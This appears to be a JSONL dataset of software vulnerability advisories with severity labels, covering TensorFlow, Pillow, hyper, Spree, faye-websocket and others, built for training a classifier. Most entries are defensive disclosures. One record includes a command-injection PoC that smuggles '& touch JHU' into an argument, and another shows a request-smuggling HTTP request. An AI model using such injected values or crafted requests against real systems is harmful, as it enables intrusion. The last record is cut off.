-{"id": "189dc97d5d7ac08d83d3", "text": "Denial of Service in Tensorflow\n\n### Impact\nThe `SparseFillEmptyRowsGrad` implementation has incomplete validation of the shapes of its arguments:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L235-L241\n\nAlthough `reverse_index_map_t` and `grad_values_t` are accessed in a similar pattern, only `reverse_index_map_t` is validated to be of proper shape. Hence, malicious users can pass a bad `grad_values_t` to trigger an assertion failure in `vec`, causing denial of service in serving installations.\n\n### Patches\nWe have patched the issue in 390611e0d45c5793c7066110af37c8514e6a6c54 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-63xm-rx5p-xvqr](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-63xm-rx5p-xvqr)", "text_raw": "Denial of Service in Tensorflow\n\n[Severity: MEDIUM]\n\n### Impact\nThe `SparseFillEmptyRowsGrad` implementation has incomplete validation of the shapes of its arguments:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L235-L241\n\nAlthough `reverse_index_map_t` and `grad_values_t` are accessed in a similar pattern, only `reverse_index_map_t` is validated to be of proper shape. Hence, malicious users can pass a bad `grad_values_t` to trigger an assertion failure in `vec`, causing denial of service in serving installations.\n\n### Patches\nWe have patched the issue in 390611e0d45c5793c7066110af37c8514e6a6c54 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-63xm-rx5p-xvqr](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-63xm-rx5p-xvqr)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "d45a5892301f87dc9908", "text": "github.com/unknwon/cae Path Traversal vulnerability\n\nThe ExtractTo function doesn't securely escape file paths in zip archives which include leading or non-leading \"..\". This allows an attacker to add or replace files system-wide.", "text_raw": "github.com/unknwon/cae Path Traversal vulnerability\n\n[Severity: HIGH]\n\nThe ExtractTo function doesn't securely escape file paths in zip archives which include leading or non-leading \"..\". This allows an attacker to add or replace files system-wide.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "98a264cdf1deaec6b8b2", "text": "Arbitrary code using \"crafted image file\" approach affecting Pillow\n\nPillow before 3.3.2 allows context-dependent attackers to execute arbitrary code by using the \"crafted image file\" approach, related to an \"Insecure Sign Extension\" issue affecting the ImagingNew in Storage.c component.", "text_raw": "Arbitrary code using \"crafted image file\" approach affecting Pillow\n\n[Severity: HIGH]\n\nPillow before 3.3.2 allows context-dependent attackers to execute arbitrary code by using the \"crafted image file\" approach, related to an \"Insecure Sign Extension\" issue affecting the ImagingNew in Storage.c component.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "b5831dec047f9cc7d5fc", "text": "SOCA Access Control System 180612 Reflected Cross-Site Scripting", "text_raw": "SOCA Access Control System 180612 Reflected Cross-Site Scripting\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-05-13", "split": "train"}
-{"id": "8cab02632c319312a266", "text": "Improper Authentication in Atlassian Connect Spring Boot\n\nBroken Authentication in Atlassian Connect Spring Boot (ACSB) in version 1.1.0 before 2.1.3 and from version 2.1.4 before 2.1.5: Atlassian Connect Spring Boot is a Java Spring Boot package for building Atlassian Connect apps. Authentication between Atlassian products and the Atlassian Connect Spring Boot app occurs with a server-to-server JWT or a context JWT. Atlassian Connect Spring Boot versions 1.1.0 before 2.1.3 and versions 2.1.4 before 2.1.5 erroneously accept context JWTs in lifecycle endpoints (such as installation) where only server-to-server JWTs should be accepted, permitting an attacker to send authenticated re-installation events to an app.", "text_raw": "Improper Authentication in Atlassian Connect Spring Boot\n\n[Severity: HIGH]\n\nBroken Authentication in Atlassian Connect Spring Boot (ACSB) in version 1.1.0 before 2.1.3 and from version 2.1.4 before 2.1.5: Atlassian Connect Spring Boot is a Java Spring Boot package for building Atlassian Connect apps. Authentication between Atlassian products and the Atlassian Connect Spring Boot app occurs with a server-to-server JWT or a context JWT. Atlassian Connect Spring Boot versions 1.1.0 before 2.1.3 and versions 2.1.4 before 2.1.5 erroneously accept context JWTs in lifecycle endpoints (such as installation) where only server-to-server JWTs should be accepted, permitting an attacker to send authenticated re-installation events to an app.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "69545ceaa2002776047e", "text": "Cross-Site Scripting (XSS) in cloudcmd\n\nVersions of `cloudcmd` before 9.1.6 are vulnerable to cross-site scripting (XSS) when listing files in a directory. The attacker must control the name of a file for this vulnerability to be exploitable.\n\n## Recommendation\n\nUpdate to version 9.1.6 or later.", "text_raw": "Cross-Site Scripting (XSS) in cloudcmd\n\n[Severity: HIGH]\n\nVersions of `cloudcmd` before 9.1.6 are vulnerable to cross-site scripting (XSS) when listing files in a directory. The attacker must control the name of a file for this vulnerability to be exploitable.\n\n\n## Recommendation\n\nUpdate to version 9.1.6 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-04", "split": "train"}
-{"id": "e80ee7c883f2ddae78bb", "text": "Remote command injection when using sendmail email transport\n\n### Impact\n\nSites using the `sendmail` transport as part of their `mail` config are vulnerable to remote command injection due to a [vulnerability](https://github.com/advisories/GHSA-48ww-j4fc-435p) in the `nodemailer` dependency.\n\nGhost defaults to the `direct` transport so this is only exploitable if the `sendmail` transport is explicitly used.\n\n### Patches\n\nFixed in 4.15.0, all sites should upgrade as soon as possible.\n\n### Workarounds\n\n* Use an alternative email transport as described in the [docs](https://ghost.org/docs/config/#mail).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* email us at security@ghost.org", "text_raw": "Remote command injection when using sendmail email transport\n\n[Severity: MEDIUM]\n\n### Impact\n\nSites using the `sendmail` transport as part of their `mail` config are vulnerable to remote command injection due to a [vulnerability](https://github.com/advisories/GHSA-48ww-j4fc-435p) in the `nodemailer` dependency.\n\nGhost defaults to the `direct` transport so this is only exploitable if the `sendmail` transport is explicitly used.\n\n### Patches\n\nFixed in 4.15.0, all sites should upgrade as soon as possible.\n\n### Workarounds\n\n* Use an alternative email transport as described in the [docs](https://ghost.org/docs/config/#mail). \n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* email us at security@ghost.org\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "071ab56253157b32cd7f", "text": "Improper Authorization in aedes\n\nVersions of `aedes` before 0.35.1 does not respect its own authorization rules when a client sets a `Last Will`.\n\n## Recommendation\n\nUpdate to version 0.35.1 or later.", "text_raw": "Improper Authorization in aedes\n\n[Severity: MEDIUM]\n\nVersions of `aedes` before 0.35.1 does not respect its own authorization rules when a client sets a `Last Will`.\n\n\n## Recommendation\n\nUpdate to version 0.35.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "d2e6d5d66cefbd0652fd", "text": "Out-of-bounds reads in Pillow\n\nIn `libImaging/Jpeg2KDecode.c` in Pillow before 7.1.0, there are multiple out-of-bounds reads via a crafted JP2 file.", "text_raw": "Out-of-bounds reads in Pillow\n\n[Severity: HIGH]\n\nIn `libImaging/Jpeg2KDecode.c` in Pillow before 7.1.0, there are multiple out-of-bounds reads via a crafted JP2 file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "c15ab4b946d24c5229e6", "text": "Arbitrary Code Execution in Rdoc\n\nIn RDoc 3.11 through 6.x before 6.3.1, as distributed with Ruby through 3.0.1, it is possible to execute arbitrary code via | and tags in a filename.", "text_raw": "Arbitrary Code Execution in Rdoc\n\n[Severity: HIGH]\n\nIn RDoc 3.11 through 6.x before 6.3.1, as distributed with Ruby through 3.0.1, it is possible to execute arbitrary code via | and tags in a filename.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "b0537c89b38db9ede2fa", "text": "Deserialization of Untrusted Data in Apache Camel RabbitMQ\n\nApache Camel RabbitMQ enables Java deserialization by default. Apache Camel 2.22.x, 2.23.x, 2.24.x, 2.25.0, 3.0.0 up to 3.1.0 are affected. 2.x users should upgrade to 2.25.1, 3.x users should upgrade to 3.2.0.", "text_raw": "Deserialization of Untrusted Data in Apache Camel RabbitMQ\n\n[Severity: HIGH]\n\nApache Camel RabbitMQ enables Java deserialization by default. Apache Camel 2.22.x, 2.23.x, 2.24.x, 2.25.0, 3.0.0 up to 3.1.0 are affected. 2.x users should upgrade to 2.25.1, 3.x users should upgrade to 3.2.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "463ef0da3eec0469ddda", "text": "Uncontrolled Resource Consumption in parse_duration\n\nAn issue was discovered in the parse_duration crate through 2021-03-18 for Rust. It allows attackers to cause a denial of service (CPU and memory consumption) via a duration string with a large exponent.", "text_raw": "Uncontrolled Resource Consumption in parse_duration\n\n[Severity: HIGH]\n\nAn issue was discovered in the parse_duration crate through 2021-03-18 for Rust. It allows attackers to cause a denial of service (CPU and memory consumption) via a duration string with a large exponent.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1526ec0a4569bf77c185", "text": "nodemssql is malware\n\nThe `nodemssql` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "nodemssql is malware\n\n[Severity: HIGH]\n\nThe `nodemssql` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "2834daf5b31c2586b9ad", "text": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "22efcbb41ea7099b6a63", "text": "Lenient Parsing of Content-Length Header When Prefixed with Plus Sign\n\n### Summary\n\nhyper's HTTP/1 server code had a flaw that incorrectly parses and accepts requests with a `Content-Length` header with a prefixed plus sign, when it should have been rejected as illegal. This combined with an upstream HTTP proxy that doesn't parse such `Content-Length` headers, but forwards them, can result in \"request smuggling\" or \"desync attacks\".\n\n### Vulnerability\n\nThe flaw exists in all prior versions of hyper, if built with [`rustc` v1.5.0 or newer](https://github.com/rust-lang/rust/pull/28826/commits/123a83326fb95366e94a3be1a74775df4db97739).\n\nExample:\n\n```\nGET / HTTP/1.1\nHost: example.com\nContent-Length: +3\n\nabc\n```\n\nThis request gets accepted and hyper reads the body as abc. The request _should_ be rejected, according to RFC 7230, since the ABNF for `Content-Length` only allows for `DIGIT`s. This is due to using the `FromStr` implementation for `u64` in the standard library. By differing from the spec, it is possible to send requests like these to endpoints that have different HTTP implementations, with different interpretations of the payload semantics, and cause \"desync attacks\".\n\nIn this particular case, an upstream proxy would need to error when parsing the `Content-Length`, but _not_ reject the request (swallowing its own error), and forwarding the request as-is with the `Content-Length` still included. _Then_ the upstream proxy and hyper would disagree on the length of the request body. The combination of these factors would be extremely rare.\n\nRead more about desync attacks: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn\n\n### Impact\n\nTo determine if vulnerable, all these things must be true:\n\n- **Using hyper as an HTTP server**. While the lenient decoder also exists in the client, a vulnerability does not exist around _responses_.\n- **Using HTTP/1**. The HTTP/2 code uses a stricter parser.\n- **Using a vulnerable HTTP proxy upstream to hyper**. If an upstream proxy correctly rejects the illegal `Content-Length` header, *OR* can parse the length with the plus sign, the desync attack cannot succeed.\n\n### Patches\n\nWe have released the following patch versions:\n\n- v0.14.10 (to be released when this advisor is published)\n\n### Workarounds\n\nBesides upgrading hyper, you can take the following options:\n\n- Reject requests manually that contain a plus sign prefix in the `Content-Length` header.\n- Ensure any upstream proxy handles `Content-Length` headers with a plus sign prefix.\n\n### Credits\nThis issue was initially reported by [Mattias Grenfeldt](https://grenfeldt.dev/) and Asta Olofsson.", "text_raw": "Lenient Parsing of Content-Length Header When Prefixed with Plus Sign\n\n[Severity: LOW]\n\n### Summary\n\nhyper's HTTP/1 server code had a flaw that incorrectly parses and accepts requests with a `Content-Length` header with a prefixed plus sign, when it should have been rejected as illegal. This combined with an upstream HTTP proxy that doesn't parse such `Content-Length` headers, but forwards them, can result in \"request smuggling\" or \"desync attacks\".\n\n### Vulnerability\n\nThe flaw exists in all prior versions of hyper, if built with [`rustc` v1.5.0 or newer](https://github.com/rust-lang/rust/pull/28826/commits/123a83326fb95366e94a3be1a74775df4db97739).\n\nExample:\n\n```\nGET / HTTP/1.1\nHost: example.com\nContent-Length: +3\n\nabc\n```\n\nThis request gets accepted and hyper reads the body as abc. The request _should_ be rejected, according to RFC 7230, since the ABNF for `Content-Length` only allows for `DIGIT`s. This is due to using the `FromStr` implementation for `u64` in the standard library. By differing from the spec, it is possible to send requests like these to endpoints that have different HTTP implementations, with different interpretations of the payload semantics, and cause \"desync attacks\".\n\nIn this particular case, an upstream proxy would need to error when parsing the `Content-Length`, but _not_ reject the request (swallowing its own error), and forwarding the request as-is with the `Content-Length` still included. _Then_ the upstream proxy and hyper would disagree on the length of the request body. The combination of these factors would be extremely rare.\n\nRead more about desync attacks: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn\n\n### Impact\n\nTo determine if vulnerable, all these things must be true:\n\n- **Using hyper as an HTTP server**. While the lenient decoder also exists in the client, a vulnerability does not exist around _responses_.\n- **Using HTTP/1**. The HTTP/2 code uses a stricter parser.\n- **Using a vulnerable HTTP proxy upstream to hyper**. If an upstream proxy correctly rejects the illegal `Content-Length` header, *OR* can parse the length with the plus sign, the desync attack cannot succeed.\n\n### Patches\n\nWe have released the following patch versions:\n\n- v0.14.10 (to be released when this advisor is published)\n\n### Workarounds\n\nBesides upgrading hyper, you can take the following options:\n\n- Reject requests manually that contain a plus sign prefix in the `Content-Length` header.\n- Ensure any upstream proxy handles `Content-Length` headers with a plus sign prefix.\n\n### Credits\nThis issue was initially reported by [Mattias Grenfeldt](https://grenfeldt.dev/) and Asta Olofsson.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-07-12", "split": "train"}
-{"id": "7218855b011084417753", "text": "SpinetiX Fusion Digital Signage 3.4.8 File Backup/Delete Path Traversal", "text_raw": "SpinetiX Fusion Digital Signage 3.4.8 File Backup/Delete Path Traversal\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-09-30", "split": "train"}
-{"id": "5c9fc7b08eae60582e3b", "text": "Sonatype Nexus Repository Remote Code Execution Vulnerability\n\nAffected: Sonatype Nexus Repository\n\nSonatype Nexus Repository contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-917\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Sonatype Nexus Repository Remote Code Execution Vulnerability\n\nAffected: Sonatype Nexus Repository\n\nSonatype Nexus Repository contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-917\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "3c30dfd826e00a6a9dd9", "text": "A vulnerability in Atomix v3.1.5 allows attackers to cause a denial of service (DoS) via a Raft session flooding attack using Raft OpenSessionRequest messages.", "text_raw": "A vulnerability in Atomix v3.1.5 allows attackers to cause a denial of service (DoS) via a Raft session flooding attack using Raft OpenSessionRequest messages.\n\n[Severity: MEDIUM]", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "46f73cec9b26b8e705ba", "text": "jackson-databind is vulnerable to a deserialization flaw\n\nA deserialization flaw was discovered in the jackson-databind, versions before 2.6.7.1, 2.7.9.1 and 2.8.9, which could allow an unauthenticated user to perform code execution by sending the maliciously crafted input to the readValue method of the ObjectMapper.", "text_raw": "jackson-databind is vulnerable to a deserialization flaw\n\n[Severity: CRITICAL]\n\nA deserialization flaw was discovered in the jackson-databind, versions before 2.6.7.1, 2.7.9.1 and 2.8.9, which could allow an unauthenticated user to perform code execution by sending the maliciously crafted input to the readValue method of the ObjectMapper.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "ae5d8f6b2c8e39901bfc", "text": "Spree Auth Devise vulnerability allows for authentication bypass through CSRF weakness\n\n### Impact\n\nCSRF vulnerability that allows user account takeover.\n\nAll applications using any version of the frontend component of `spree_auth_devise` are affected if `protect_from_forgery` method is both:\n\n* Executed whether as:\n  * A before_action callback (the default)\n  * A prepend_before_action (option prepend: true given) before the :load_object hook in Spree::UserController (most likely order to find).\n* Configured to use :null_session or :reset_session strategies (:null_session is the default in case the no strategy is given, but rails --new generated skeleton use :exception).\n\nThat means that applications that haven't been configured differently from what it's generated with Rails aren't affected.\n\nThanks @waiting-for-dev for reporting and providing a patch 👏\n\n### Patches\n\nSpree 4.3 users should update to spree_auth_devise 4.4.1\nSpree 4.2 users should update to spree_auth_devise 4.2.1\nSpree 4.1 users should update to spree_auth_devise 4.1.1\nOlder Spree version users should update to spree_auth_devise 4.0.1\n\n### Workarounds\n\nIf possible, change your strategy to :exception:\n\n```ruby\nclass ApplicationController < ActionController::Base\n  protect_from_forgery with: :exception\nend\n```\n\nAdd the following to`config/application.rb `to at least run the `:exception` strategy on the affected controller:\n\n```ruby\nconfig.after_initialize do\n  Spree::UsersController.protect_from_forgery with: :exception\nend\n```\n\n### References\nhttps://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2", "text_raw": "Spree Auth Devise vulnerability allows for authentication bypass through CSRF weakness\n\n[Severity: CRITICAL]\n\n### Impact\n\nCSRF vulnerability that allows user account takeover.\n\nAll applications using any version of the frontend component of `spree_auth_devise` are affected if `protect_from_forgery` method is both:\n\n* Executed whether as:\n  * A before_action callback (the default)\n  * A prepend_before_action (option prepend: true given) before the :load_object hook in Spree::UserController (most likely order to find).\n* Configured to use :null_session or :reset_session strategies (:null_session is the default in case the no strategy is given, but rails --new generated skeleton use :exception).\n\nThat means that applications that haven't been configured differently from what it's generated with Rails aren't affected.\n\nThanks @waiting-for-dev for reporting and providing a patch 👏 \n\n### Patches\n\nSpree 4.3 users should update to spree_auth_devise 4.4.1\nSpree 4.2 users should update to spree_auth_devise 4.2.1\nSpree 4.1 users should update to spree_auth_devise 4.1.1\nOlder Spree version users should update to spree_auth_devise 4.0.1\n \n### Workarounds\n\nIf possible, change your strategy to :exception:\n\n```ruby\nclass ApplicationController < ActionController::Base\n  protect_from_forgery with: :exception\nend\n```\n\nAdd the following to`config/application.rb `to at least run the `:exception` strategy on the affected controller:\n\n```ruby\nconfig.after_initialize do\n  Spree::UsersController.protect_from_forgery with: :exception\nend\n```\n\n### References\nhttps://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-18", "split": "train"}
-{"id": "f3b5e1924a971f704ee3", "text": "Apache Struts REST Plugin can potentially allow a DoS attack\n\nThe Apache Struts REST Plugin is using XStream library which is vulnerable and allow perform a DoS attack when using a malicious request with specially crafted XML payload. Upgrade to the Apache Struts version 2.5.16 and switch to an optional Jackson XML handler as described here http://struts.apache.org/plugins/rest/#custom-contenttypehandlers. Another option is to implement a custom XML handler based on the Jackson XML handler from the Apache Struts 2.5.16.", "text_raw": "Apache Struts REST Plugin can potentially allow a DoS attack\n\n[Severity: HIGH]\n\nThe Apache Struts REST Plugin is using XStream library which is vulnerable and allow perform a DoS attack when using a malicious request with specially crafted XML payload. Upgrade to the Apache Struts version 2.5.16 and switch to an optional Jackson XML handler as described here http://struts.apache.org/plugins/rest/#custom-contenttypehandlers. Another option is to implement a custom XML handler based on the Jackson XML handler from the Apache Struts 2.5.16.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "e236d47954d7ea1663d8", "text": "Server-Side Request Forgery in Feehi CMS\n\nFeehi CMS 2.1.1 is affected by a Server-side request forgery (SSRF) vulnerability. When the user modifies the HTTP Referer header to any url, the server can make a request to it.", "text_raw": "Server-Side Request Forgery in Feehi CMS\n\n[Severity: CRITICAL]\n\nFeehi CMS 2.1.1 is affected by a Server-side request forgery (SSRF) vulnerability. When the user modifies the HTTP Referer header to any url, the server can make a request to it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "c8a1d220a1a589dcfc7a", "text": "Authenticated Privilege Escalation\n\n### Impact\nAuthenticated Privilege Escalation\n\n### Patches\nWe recommend to update to the current version 6.3.4.1. You can get the update to 6.3.4.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-12-2020", "text_raw": "Authenticated Privilege Escalation\n\n[Severity: LOW]\n\n### Impact\nAuthenticated Privilege Escalation\n\n### Patches\nWe recommend to update to the current version 6.3.4.1. You can get the update to 6.3.4.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-12-2020", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-12-21", "split": "train"}
-{"id": "a3f5463b40c6f3af7958", "text": "OS Command Injection in heroku-addonpool\n\nheroku-addonpool through 0.1.15 is vulnerable to Command Injection. The second parameter of the exported function `HerokuAddonPool(id, app, opt)` can be controlled by users without any sanitization.\n\n**PoC**\n```js\nvar Root = require(\"heroku-addonpool\");\nvar root = Root(\"sss\", \"& touch JHU\", {});\nroot.setup();\n```", "text_raw": "OS Command Injection in heroku-addonpool\n\n[Severity: CRITICAL]\n\nheroku-addonpool through 0.1.15 is vulnerable to Command Injection. The second parameter of the exported function `HerokuAddonPool(id, app, opt)` can be controlled by users without any sanitization.\n\n**PoC**\n```js\nvar Root = require(\"heroku-addonpool\");\nvar root = Root(\"sss\", \"& touch JHU\", {});\nroot.setup();\n```", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "04ae06ab7f6d899a702f", "text": "PolarisCMS (blog.aspx) Remote URI Based Cross-Site Scripting Vulnerability", "text_raw": "PolarisCMS (blog.aspx) Remote URI Based Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-08-05", "split": "train"}
-{"id": "f55375bdea6902320eb8", "text": "Microsoft Windows Update Medic Service Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Update Medic Service contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Update Medic Service Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Update Medic Service contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "c41adfca82888347478f", "text": "Missing TLS certificate verification in faye-websocket\n\nThe `Faye::WebSocket::Client` class uses the [`EM::Connection#start_tls`][1] method in [EventMachine][2] to implement the TLS handshake whenever a `wss:` URL is used for the connection. This method does not implement certificate verification by default, meaning that it does not check that the server presents a valid and trusted TLS certificate for the expected hostname. That means that any `wss:` connection made using this library is vulnerable to a man-in-the-middle attack, since it does not confirm the identity of the server it is connected to.\n\nThis has been a requested feature in EventMachine for many years now; see for example [#275][3], [#378][4], and [#814][5]. In June 2020, [em-http-request][6] published an [advisory][7] related to this problem and fixed it by [implementing TLS verification][8] in their own codebase; although EventMachine does not implement certificate verification itself, it provides an extension point for the caller to implement it, called [`ssl_verify_peer`][9]. Based on this implementation, we have incorporated similar functionality into [faye-websocket for Ruby][10], such that we use the `OpenSSL` module to perform two checks:\n\n- The chain of certificates presented by the server is valid and ultimately trusted by your root certificate set -- either your system default root certificates, or a set provided at runtime\n- The final certificate presented by the server is valid for the hostname used in the request URI; if the connection is made via a proxy we use the hostname from the request, not the proxy's hostname\n\nAfter implementing verification in v1.1.6, em-http-request has elected to leave the `:verify_peer` option switched off by default. We have decided to _enable_ this option by default in faye-websocket, but are publishing a minor release with added functionality for configuring it. We are mindful of the fact that this may break existing programs, but we consider it much more important that\nall clients have TLS verification turned on by default. A client that is not carrying out verification is either:\n\n- talking to the expected server, and will not break under this change\n- being attacked, and would benefit from being alerted to this fact\n- deliberately talking to a server that would be rejected by verification\n\nThe latter case includes situations like talking to a non-public server using a self-signed certificate. We consider this use case to be \"working by accident\", rather than functionality that was actively supported, and it should be properly and explicitly supported instead. To that end, we have added two new options to the `Faye::WebSocket::Client` constructor: `tls.root_cert_file`, and `tls.verify_peer`.\n\nThe `:root_cert_file` option lets you provide a different set of root certificates in situations where you don't want to use your system's default root certificates to verify the remote host. It should be a path or an array of paths identifying the certificates to use instead of the defaults.\n\n```rb\nclient = Faye::WebSocket::Client.new('wss://example.com/', [], tls: {\n  root_cert_file: 'path/to/certificate.pem'\n})\n```\n\nThe `:verify_peer` option lets you turn verification off entirely. This should be a last resort and we recommend using the `:root_cert_file` option if possible.\n\n```rb\nclient = Faye::WebSocket::Client.new('wss://example.com/', [], tls: {\n  verify_peer: false\n})\n```\n\nTo get the new behaviour, please upgrade to v0.11.0 of the [Rubygems package][10]. There are, unfortunately, no workarounds for this issue, as you cannot enable `:verify_peer` in EventMachine unless the calling library contains an implementation of `ssl_verify_peer` that actually checks the server's certificates.\n\nFor further background information on this issue, please see [faye#524][12] and [faye-websocket#129][13]. We would like to thank [Tero Marttila][14] and [Daniel Morsing][15] for providing invaluable assistance and feedback on this issue.\n\n[1]: https://www.rubydoc.info/github/eventmachine/eventmachine/EventMachine/Connection:start_tls\n", "text_raw": "Missing TLS certificate verification in faye-websocket\n\n[Severity: HIGH]\n\nThe `Faye::WebSocket::Client` class uses the [`EM::Connection#start_tls`][1] method in [EventMachine][2] to implement the TLS handshake whenever a `wss:` URL is used for the connection. This method does not implement certificate verification by default, meaning that it does not check that the server presents a valid and trusted TLS certificate for the expected hostname. That means that any `wss:` connection made using this library is vulnerable to a man-in-the-middle attack, since it does not confirm the identity of the server it is connected to.\n\nThis has been a requested feature in EventMachine for many years now; see for example [#275][3], [#378][4], and [#814][5]. In June 2020, [em-http-request][6] published an [advisory][7] related to this problem and fixed it by [implementing TLS verification][8] in their own codebase; although EventMachine does not implement certificate verification itself, it provides an extension point for the caller to implement it, called [`ssl_verify_peer`][9]. Based on this implementation, we have incorporated similar functionality into [faye-websocket for Ruby][10], such that we use the `OpenSSL` module to perform two checks:\n\n- The chain of certificates presented by the server is valid and ultimately trusted by your root certificate set -- either your system default root certificates, or a set provided at runtime\n- The final certificate presented by the 